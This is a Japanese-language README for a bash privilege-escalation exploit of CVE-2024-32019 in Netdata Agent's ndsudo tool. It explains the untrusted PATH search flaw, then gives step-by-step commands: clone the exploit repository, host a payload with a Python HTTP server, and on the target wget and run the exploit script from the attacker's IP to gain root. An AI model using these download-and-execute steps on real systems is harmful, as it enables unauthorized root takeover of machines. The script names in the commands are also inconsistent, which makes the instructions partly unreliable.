
Netdata AgentのndsudoツールにおけるCVE-2024-32019のBashベースの権限昇格エクスプロイトで、信頼されていないPATH検索を悪用してルート権限で任意のバイナリを実行します。
ndsudoの脆弱性により、攻撃者はNetdata Agentの一部であるndsudoツールにおける信頼されていない検索パスを悪用して、root権限を取得できます。これは、攻撃者が書き込み可能なディレクトリに悪意のあるバイナリを配置し、PATH環境変数を適宜変更した場合に、権限昇格された任意のプログラムの実行を可能にします。
CVE-2024-32019として識別されるndsudoの脆弱性は、Netdata Agentに含まれるndsudoツールのバージョンv1.45.0以下に影響します。この脆弱性により、攻撃者はツールがインストールされたシステム上で権限を昇格させることができます。
脆弱性の仕組み:
悪用のメカニズム:-
信頼されていない検索パス: ndsudoツールはPATH環境変数を使用して外部コマンドを検索します。攻撃者はこの変数を操作して、自分が制御するディレクトリを指すようにできます。
悪意のあるバイナリの実行: ndsudoが実行を許可されているコマンド(例:nvme)と同じ名前の悪意のある実行ファイルを書き込み可能なディレクトリに配置することで、攻撃者はroot権限で任意のコードを実行できます。
攻撃の複雑さ:-
脆弱性の影響:-
権限昇格: 悪用に成功すると、攻撃者はrootアクセスを取得でき、影響を受けるシステムの完全な制御につながる可能性があります。
潜在的なリスク: これにより、不正なデータアクセス、システムの操作、ネットワークリソースのさらなる悪用が発生する可能性があります。
権限昇格 私はユーザーからrootへのアクセスを簡単に取得するための2つのbashスクリプトを作成しました。以下の手順に従ってください:-
git clone https://github.com/justjoeyking/CVE-2024-32019-ndsudo.git
cd CVE-2024-32019-ndsudo
chmod +x ndsudo_exp.sh
次にPythonサーバーを作成します:
python3 -m http.server 8080
geditまたはpluma(利用可能な方)を使用してndsudo_exploit.shファイルを開きます。 以下のようなwgetコマンドが表示されます:
wget http://10.10.14.70:8080/nvme -o /tmp/nvme
IPアドレスを自分のマシンのIPに変更してください
次にターゲットマシンに移動し、ターミナルを開いて以下を実行します:
wget http://<your-ip-addr>:8080/ndsudo_exploit.sh
chmod +x ndsudo_exploit.sh
./ndsudo_exploit.sh